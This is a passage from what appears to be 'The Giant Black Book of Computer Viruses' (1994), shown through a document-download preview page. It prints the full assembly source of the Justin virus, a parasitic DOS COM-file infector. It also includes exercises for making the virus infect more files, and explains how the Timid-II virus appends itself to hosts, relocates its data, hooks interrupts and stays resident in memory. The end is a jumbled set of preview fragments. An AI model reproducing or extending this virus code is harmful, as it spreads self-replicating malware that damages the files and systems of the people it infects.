Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 66 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
66
Dung lượng
694,05 KB
Nội dung
add sp,4 Here, we find two words on the stack: [0100H] [FFF8H] The first is the address 100H, used to return from the subroutine just placed on the stack to offset 100H, where the host will be. The next is the address of the routine hiding just under the stack. Justin will return to it, let it execute, and in turn, return to the host. (See Figure 5.6) Granted, this is a pretty tricky way to go about moving the host. This kind of gymnastics is necessary though. And it has an added benefit: the code hiding just below the stack will act as an anti-de- bugging measure. Notice how Justin turns interrupts off with the cli instruction just before returning to this subroutine to move the host? If any interrupt occurs while executing that code, the stack will wipe the code out and the whole thing will crash. Well, guess what stepping through this code with a debugger will do? Yep, it generates interrupts and wipes out this code. Try it and you’ll see what I mean. The Justin Virus Source ;The Justin virus is a parasitic COM infector which puts itself before the ;host in the file. This virus is benign ; ;(C) 1994 American Eagle Publications, Inc. All Rights Reserved! .model small .code org 0100H JUSTIN: call CHECK_MEM ;enough memory to run? jc GOTO_HOST_LOW ;nope, just exit to host call JUMP_HIGH ;go to next 64K memory block call FIND_FILE ;find a file to infect jc GOTO_HOST_HIGH ;none available, go to host call INFECT_FILE ;infect file we found GOTO_HOST_HIGH: mov di,100H ;move host to low memory mov si,OFFSET HOST mov ax,ss ;ss points to low seg still mov ds,ax ;so set ds and es to point there mov es,ax push ax ;push return address push di ;to execute host (for later use) mov cx,sp sub cx,OFFSET HOST ;cx = bytes to move rep movsb ;move host to offset 100H retf ;and go execute it ;This executes only if Justin doesn’t have enough memory to infect anything. ;It puts code to move the host down on the stack, and then jumps to it. GOTO_HOST_LOW: mov ax,100H ;put 100H ret addr on stack push ax mov ax,sp sub ax,6 ;ax=start of stack instructions push ax ;address to jump to on stack mov ax,000C3H ;put “ret” on stack push ax mov ax,0A4F3H ;put “rep movsb” on stack push ax mov si,OFFSET HOST ;set up si and di mov di,100H ;in prep to move data mov cx,sp ;set up cx sub cx,OFFSET HOST cli ;hw ints off add sp,4 ;adjust stack ret ;go to stack code ;This routine checks memory to see if there is enough room for Justin to ;execute properly. If not, it returns with carry set. CHECK_MEM: mov ah,4AH ;modify allocated memory mov bx,2000H ;we want 2*64K int 21H ;set c if not enough memory pushf mov ah,4AH ;re-allocate all available mem mov bx,0FFFFH int 21H mov ah,4AH int 21H popf ret ;and return to caller ;This routine jumps to the block 64K above where the virus starts executing. ;It also sets all segment registers to point there, and moves the DTA to ;offset 80H in that segment. JUMP_HIGH: mov ax,ds ;ds points to current segment add ax,1000H mov es,ax ;es points 64K higher mov si,100H mov di,si ;di = si = 100H mov cx,OFFSET HOST - 100H ;cx = bytes to move rep movsb ;copy virus to upper 64K block mov ds,ax ;set ds to high segment now, too mov ah,1AH ;move DTA mov dx,80H ;to ds:80H (high segment) int 21H pop ax ;get return @ off of stack push es ;put hi mem seg on stack push ax ;then put return @ back retf ;FAR return to high memory! ;The following routine searches for one uninfected COM file and returns with ;c reset if one is found. It only searches the current directory. FIND_FILE: mov dx,OFFSET COM_MASK ;search for COM files mov ah,4EH ;DOS find first file function xor cx,cx ;CX holds all file attributes FIND_LOOP: int 21H jc FIND_EXIT ;Exit if no files found call FILE_OK ;file OK to infect? jc FIND_NEXT ;nope, look for another FIND_EXIT: ret ;else return with z set FIND_NEXT: mov ah,4FH ;DOS find next file function jmp FIND_LOOP ;Try finding another file COM_MASK db ’*.COM’,0 ;COM file search mask ;The following routine determines whether a file is ok to infect. There are ;several criteria which must be satisfied if a file is to be infected. ; ; 1. We must be able to write to the file (open read/write successful). ; 2. The file must not be too big. ; 3. The file must not already be infected. ; 4. The file must not really be an EXE. ; ;If these criteria are met, FILE_OK returns with c reset, the file open, with ;the handle in bx and the original size in dx. If any criteria fail, FILE_OK ;returns with c set. FILE_OK: mov dx,9EH ;offset of file name in DTA mov ax,3D02H ;open file, read/write access int 21H jc FOK_EXIT_C ;open failed, exit with c set mov bx,ax ;else put handle in bx mov ax,4202H ;seek end of file xor cx,cx ;displacement from end = 0 xor dx,dx int 21H ;dx:ax contains file size jc FOK_EXIT_CCF ;exit if it fails or dx,dx ;if file size > 64K, exit jnz FOK_EXIT_CCF ;with c set mov cx,ax ;put file size in cx too add ax,OFFSET HOST ;add Justin + PSP size to host cmp ax,0FF00H ;is there 100H bytes for stack? jnc FOK_EXIT_C ;nope, exit with c set push cx ;save host size for future use mov ax,4200H ;reposition file pointer xor cx,cx xor dx,dx ;to start of file int 21H pop cx push cx mov ah,3FH ;prepare to read file mov dx,OFFSET HOST ;into host location int 21H ;do it pop dx ;host size now in dx jc FOK_EXIT_CCF ;exit with c set if failure mov si,100H ;now check 20 bytes to see mov di,OFFSET HOST ;if file already infected mov cx,10 repz cmpsw ;do it jz FOK_EXIT_CCF ;already infected, exit now cmp WORD PTR cs:[HOST],’ZM’ ;is it really an EXE? jz FOK_EXIT_CCF ;yes, exit with c set clc ;all systems go, clear carry ret ;and exit FOK_EXIT_CCF: mov ah,3EH ;close file int 21H FOK_EXIT_C: stc ;set carry ret ;and return ;This routine infects the file located by FIND_FILE. INFECT_FILE: push dx ;save original host size mov ax,4200H ;reposition file pointer xor cx,cx xor dx,dx ;to start of file int 21H pop cx ;original host size to cx add cx,OFFSET HOST - 100H ;add virus size to it mov dx,100H ;start of infected image mov ah,40H ;write file int 21H mov ah,3EH ;and close the file int 21H ret ;and exit ;Here is where the host program starts. In this assembler listing, the host ;just exits to DOS. HOST: mov ax,4C00H ;exit to DOS int 21H end JUSTIN Exercises 1. Modify Justin to use a buffer of only 256 bytes to infect a file. To move the host you must sequentially read and write 256 byte chunks of it, starting at the end. In this way, Justin should not have to move to a new segment. Allocate the buffer on the stack. What is the advantage of this modification? What are its disadvantages? 2. If you execute Justin in a directory with lots of big COM files on a slow machine, it can be pretty slow. What would you suggest to speed Justin up? Try it and see how well it works. 3. Modify Justin to infect all the files in the current directory where it is executed. 4. Modify the FILE_OK routine to get the size of the file directly from the DTA. Does this simplify the virus? 5. Modify Justin so that the stack-based method of moving the host is always used. 6. Another way to move the host from the same segment is to write the rep movsb instruction to offset 00FCH dynamically, and then a jump to 100H at 00FEH, i.e. 00FC: rep movsb 00FE: jmp 100H 0100: (HOST will be here) In the virus you set up the si, di and cx registers, and jump from the main body of the virus to offset 00FCH, and the host will execute. Try this. Why do you need the jump instruction on 386 and above proces- sors, but not on 8088-based machines? Parasitic COM Infectors: Part II The Justin virus in the last chapter illustrates many of the basic techniques used by a parasitic virus to infect COM files. It is a simple yet effective virus. As we mentioned in the last chapter, however, there is another important type of non-resident parasitic virus worth looking at: one which places itself at the end of a host program. Many viruses are of this type, and it can have advantages in certain situations. For example, on computers with slow disks, or when infecting files on floppy disks, viruses which put them- selves at the start of a program can be very slow because they must read the entire host program in from disk and write it back out again. Viruses which reside at the end of a file only have to write their own code to disk, so they can work much faster. Likewise, because such viruses don’t need a large buffer to load the host, they can operate in less memory. Although memory requirements aren’t a problem in most computers, memory becomes a much more impor- tant factor when dealing with memory resident viruses. A virus which takes up a huge chunk of memory when going resident will be quickly noticed. The Timid-II Virus Timid-II is a virus modeled after the Timid virus first discussed in The Little Black Book of Computer Viruses. Timid-II is more aggressive than Justin, in that it will not remain in the current directory. If it doesn’t find a file to infect in the current directory, it will search other directories for files to infect as well. In case you read that last sentence too quickly, let me repeat it for you: This virus can jump directories. It can get away from you. So be careful if you experiment with it! Non-destructive viruses which infect COM files generally must execute before the host. Once the host has control, there is just no telling what it might do. It may allocate or free memory. It may modify the stack. It may overwrite the virus with data. It may go memory resident. Any parasitic virus which tries to patch itself into some internal part of the host, or which tries to execute after the host must have some detailed knowledge of how the host works. Generally, that is not possible for some virus just floating around which will infect just any program. Thus, the virus must execute before the host, when it is possible to know what is where in memory. Since a COM program always starts execution from offset 100H (which corresponds to the beginning of a file) a parasitic virus must modify the beginning of any file it infects, even if its main body is located at the end of the file. Typically, only a few bytes of the beginning of a file are modified—usually with a jump instruc- tion to the start of the virus. (See Figure 6.1) Data and Memory Management The main problem a virus like Timid-II must face is that its code will change positions when it infects new files. If it infects a COM file that is 1252H bytes long, it will start executing at offset 1352H. Then if it goes and infects a 2993H byte file, it must execute at 2A93H. Now, short and near jumps and calls are always coded using relative addressing, so these changing offsets are not a problem. To illustrate relative addressing, consider a call being made to a subroutine CALL_ME: cs:180 call CALL_ME cs:183. . . cs:327 CALL_ME:. . . . . . ret Now suppose CALL_ME is located at offset 327H, and the call to CALL_ME is located at 180H. Then the call is coded as E8 A4 01. The E8 is the op-code for the call and the word 01A4H is the distance of the routine CALL_ME from the instruction following the call, 1A4H = 327H - 183H Because the call only references the distance between the current ip and the routine to call, this piece of code could be moved to any offset and it would still work properly. That is called relative addressing. On the other hand, in an 80x86 processor, direct data access is handled using absolute addressing. For example, the code mov dx,OFFSET COM_FILE COM_FILE db ’*.COM’,0 will load the dx register with the absolute address of the string COM_FILE. If this type of a construct is used in a virus that changes offsets, it will quickly crash. As soon as the virus moves to any offset but where it was originally compiled, the offset put in the dx register will no longer point to the string “*.COM”. Instead it may point to uninitialized data, or to data in the host, etc., as illustrated in Figure 6.2. Any virus located at the end of a COM program must deal with this difficulty by addressing data indirectly. The typical way to do this is to figure out what offset the code is actually executing at, and save that value in a register. Then you access data by using that register in combination with an absolute offset. For example, the code: call GET_ADDR ;put OFFSET GET_ADDR on stack GET_ADDR: pop di ;get that offset into di sub di,OFFSET GET_ADDR ;subtract compiled value loads di with a relocation value which can be used to access data indirectly. If GET_ADDR is at the same location it was compiled at when the call executes, di will end up being zero. On the other hand, if it has moved, the value put on the stack will be the run-time location of GET_ADDR, not its value when assembled. Yet the value subtracted from di will be the compile time value. The result in di will then be the difference between the compiled and the run-time values. (This works simply because a call pushes an absolute return address onto the stack.) To get at data, then, one would use something like lea dx,[di+OFFSET COM_FILE] instead of mov dx,OFFSET COM_FILE or mov ax,[di+OFFSET WORDVAL] rather than mov ax,[WORDVAL] This really isn’t too difficult to do, but it’s essential in any virus that changes its starting offset or it will crash. Another important method for avoiding absolute data in relo- cating code is to store temporary data in a stack frame. This technique is almost universal in ordinary programs which create temporary data for the use of a single subroutine when it is execut- ing. Our virus uses this technique too. To create a stack frame, one simply subtracts a desired number from the sp register to move the stack down, and then uses the bp register to access the data. For example, the code push bp ;save old bp sub sp,100H ;subtract 256 bytes from sp mov bp,sp ;set bp = sp [...]... that is the start of the virus Next, set cx to the number of bytes to write (and bx to the file handle) Now, with the main body of viral code appended to the end of the COM file under attack, the virus must do some clean-up work First, it must move the first five bytes of the COM file to a storage area in the viral code Then it must put a jump instruction plus the code letters “VI” at the start of the. .. dx,[di+OFFSET START_IMAGE] ah,40H 21 H and then closes the file using DOS, mov int ah,3EH 21 H This completes the infection process 82 The Giant Black Book of Computer Viruses Executing the Host Once the virus has done its work, transferring control to the host is much easier than it was with Justin, since the virus doesn’t have to overwrite itself It just moves the five bytes at START_CODE back to offset... START_CODE Virus Host 2 80 The Giant Black Book of Computer Viruses This contains the first five bytes of the file it is actually attached to Without START_CODE, the active virus will not be able to transfer control to the host program it is attached to when it is done executing To write the first five bytes of the file under attack, the virus must take the five bytes at START_IMAGE, and store them where START_CODE... interrupts 92 The Giant Black Book of Computer Viruses OLD _21 DD ? This code is called an interrupt hook because it still allows the original interrupt handler to do all of the usual processing—it just adds something to it To make this interrupt hook work properly, the first step is to get the 4 bytes stored at 0:0084H (the original interrupt vector) and store them at OLD _21 Next, one takes the segment:offset... put the call to the copy mechanism, INFECT_FILE, in the SEARCH_DIR routine, rather than the main control routine That way, when SEARCH_DIR finds a file to infect, it can just make a call to infect it, and then get on with the business of finding another file Since the first thing the virus must do is place its code at the end of the COM file it is attacking, it sets the file pointer to the end of the. .. consider int 21 H: When the processor encounters the int 21 H instruction, it pushes (a) the flags (carry, zero, etc.), (b) the cs register and (c) the offset immediately following the int 21 H instruction Next, the processor jumps to the address stored in the 21 H vector in the Interrupt Vector Table This vector is stored at segment 0, offset 21 H x 4 = 84H An interrupt vector is just a segment and offset which... First, the virus sets the file pointer to the location of START_CODE on disk To find that location, it takes the original file size (stored at DTA+1AH by the search routine), and add OFFSET START_CODE - OFFSET VIRUS to it, moving the file pointer with respect to the beginning of the file: xor lea add mov int cx,cx dx,[bp+1AH] dx,OFFSET START_CODE - OFFSET VIRUS ax, 420 0H 21 H Next, the virus writes the. .. resident viruses differ from the direct-acting viruses we’ve discussed so far in that when they are executed, they hide themselves in the computer s memory They may not infect any programs directly when they are first executed Rather, they sit and wait in memory until other programs are accessed, and infect them then Historically, memory resident viruses have proven to be much more mobile than the direct-acting... (Addison-Wesley, 1991) 90 The Giant Black Book of Computer Viruses mov mov mov mov add mov repz ret di,OFFSET INT _21 + IVOFS bp,sp si,[bp] bp,si si,OFFSET INT _21 - 103H cx,10 cmpsb ;di points to virus start ;get absolute return @ ;to si ;save it in bp too ;point to int 21 H handler ;compare 10 bytes Notice how the call to this routine is used to locate the virus in memory (Remember, the virus changes offsets since... at the end of the host, so FILE_OK can’t just read the start of the file and compare it to the virus to see if it’s already infected In the Timid-II virus, the first few bytes of the host program are replaced with a jump to the viral code Thus, the FILE_OK procedure can go out and read the file which is a candidate for infection to determine whether its first instruction is a jump If it isn’t, then the . is located at offset 327 H, and the call to CALL_ME is located at 180H. Then the call is coded as E8 A4 01. The E8 is the op-code for the call and the word 01A4H is the distance of the routine CALL_ME. on the stack: [0100H] [FFF8H] The first is the address 100H, used to return from the subroutine just placed on the stack to offset 100H, where the host will be. The next is the address of the. placed at the end of the host, so FILE_OK can’t just read the start of the file and compare it to the virus to see if it’s already infected. In the Timid-II virus, the first few bytes of the host